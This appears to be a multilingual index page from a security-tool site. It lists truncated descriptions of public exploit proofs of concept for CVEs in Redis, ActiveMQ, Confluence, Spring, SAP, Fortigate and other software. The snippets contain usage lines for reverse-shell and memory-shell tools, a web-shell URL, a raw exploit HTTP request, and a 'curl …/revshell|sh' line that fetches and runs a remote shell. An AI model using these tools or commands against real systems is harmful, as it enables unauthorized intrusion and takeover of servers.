cve-2025-49844

CVE-2025-49844 Mi prueba de concepto personal para CVE-2025-49844, también conocido como RediShell. Compilaciones de destino compatibles: Linux x86-64, imagen Docker redis:8.2.1-alpine Linux x86-64, imagen Docker redis:8.2.1-bookworm Es un poco torpe, probablemente no tan bueno como el de Wiz...

ActiveMQ-EXPtools

ActiveMQ-EXPtools Soporta la detección y explotación de vulnerabilidades de Apache ActiveMQ: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588 !WARNING Esta herramienta es solo para fines de investigación y aprendizaje de...

CVE-2022-26134-Godzilla-MEMSHELL

CVE-2022-26134-Godzilla-MEMSHELL Uso root@kitploit: java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2022-26134.jar pass key Si la memoria shell se ha inyectado con éxito pero Godzilla no puede conectarse, agregue el siguiente encabezado de protocolo en la configuración de la...

CVE-2022-23935

CVE-2022-23935 🐍 Exploit en Python para CVE-2022-23935 Generador de payloads de shell inversa por etapas para CVE-2022-23935 Ejemplo root@kitploit: cve-2022-23935 10.10.16.3 44444 Uso root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host f...

CVE-2024-50498

CVE-2024-50498 Description Improper Control of Generation of Code 'Code Injection' vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console: from n/a through 1.0. Setup Netcat Listener: Open a terminal on your machine and start a Netcat listener to wait fo...

CVE-2018-8414-POC

CVE-2018-8414 POC Windows Shell パッケージ設定のリモートコード実行の脆弱性 対象: Windows 10 Version 1703 から 1803 / Windows Server Version 1709 から 1803 注意: ファイルの場所（デフォルトのポリシー設定）によっては、エクスプロイトが失敗することがあります。その場合は、Package Settings ディレクトリにファイルをコピーすれば正しく実行されるはずです。...

CVE-2021-31630

CVE-2021-31630 Modificado el script PoC CVE-2021-31630 por Fellipe Oliveira para HTB Uso 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit Descripción Script de Python para explotar la vulnerabilidad CVE-2024-0039: ejecución de código arbitrario en dispositivos Android vulnerables. ADVERTENCIA : Este código está destinado únicamente a la educación y la creación, al servicio del lado del bien, ¡por así decirlo!...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE Tool CVE-2023-38646 RCE Graphical Exploitation Tool Verification Module Input the specified URL to detect unauthorized token Command Execution This module requires executing the verification module to obtain a token first JarLocation: the location of...

CVE-2025-28915

CVE-2025-28915 Vulnerability Description: WordPress is a blog platform developed using PHP, supporting the setup of personal blog websites on servers running PHP and MySQL. WordPress ThemeEgg ToolKit versions 1.2.9 and earlier have a code issue vulnerability, which stems from allowing the upload ...

CVE-2021-30461

Productos afectados VoIPmonitor 24.60 Cómo ejecutar RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell del navegador: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Referencia https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2023-20273

CVE-2023-20273 PoC del exploit CVE-2023-20273 Uso root@kitploit: usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h,...

zoneminder-1.29-1.30-rce-exploit

ZoneMinder 1.29/1.30 SQLi to RCE Exploit A ready-to-run Python exploit for ZoneMinder 1.29/1.30 that chains the unauthenticated SQL injection CVE-2016-10204 , EDB-41239 all the way to an interactive reverse shell. This is a weaponized/automated PoC for a known, patched CVE, not a new exploit. EDB...

CVE-2021-44168

CVE-2021-44168 익스플로잇 목적 CVE-2021-44168을 익스플로잇하여 Fortigate 방화벽에 셸을 드롭하고, Fortigate의 일부 CLI 명령어 실행 시 작동하는 LDPRELOAD 트릭을 통해 접근을 활성화합니다. 루트 셸을 얻습니다. 사용법 컴파일: root@kitploit: gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz 실행: root@kitploit: % ./gensrc-vispkgfile ./gensrc-vispkgfile -t | -p filename.i...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Exploit SAP root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2023-35803

CVE-2023-35804 - RCE no autenticado en puntos de acceso inalámbricos Extreme Networks/Aerohive PoC para puntos de acceso basados en ARM que ejecutan HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup aquí: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2020-17530

S2-061 Todos los scripts están escritos basados en el entorno de prueba de vulnerabilidades struts2-059/061 de vulhub, no son universales, espero que los expertos me den consejos. struts2-061-poc.py puede ejecutar comandos simples del sistema Uso: python struts2-061-poc.py http://ip:port command...

CVE-2022-22947-

CVE-2022-22947 Inyección de expresión SpEL en la API Actuator de Spring Cloud Gateway para ejecución de comandos CVE-2022-22947 Inyección de memoria Godzilla Clave predeterminada pass base64 Nota: El código no limpia la parte de la ruta, límpiela usted mismo.. Entorno de prueba:...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL Uso Nota: la versión probada es 8.5.1, otras versiones definitivamente también funcionan, pero no se probaron. root@kitploit: Contenido referenciado de la herramienta anterior del maestro Beichen. java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url contraseña ...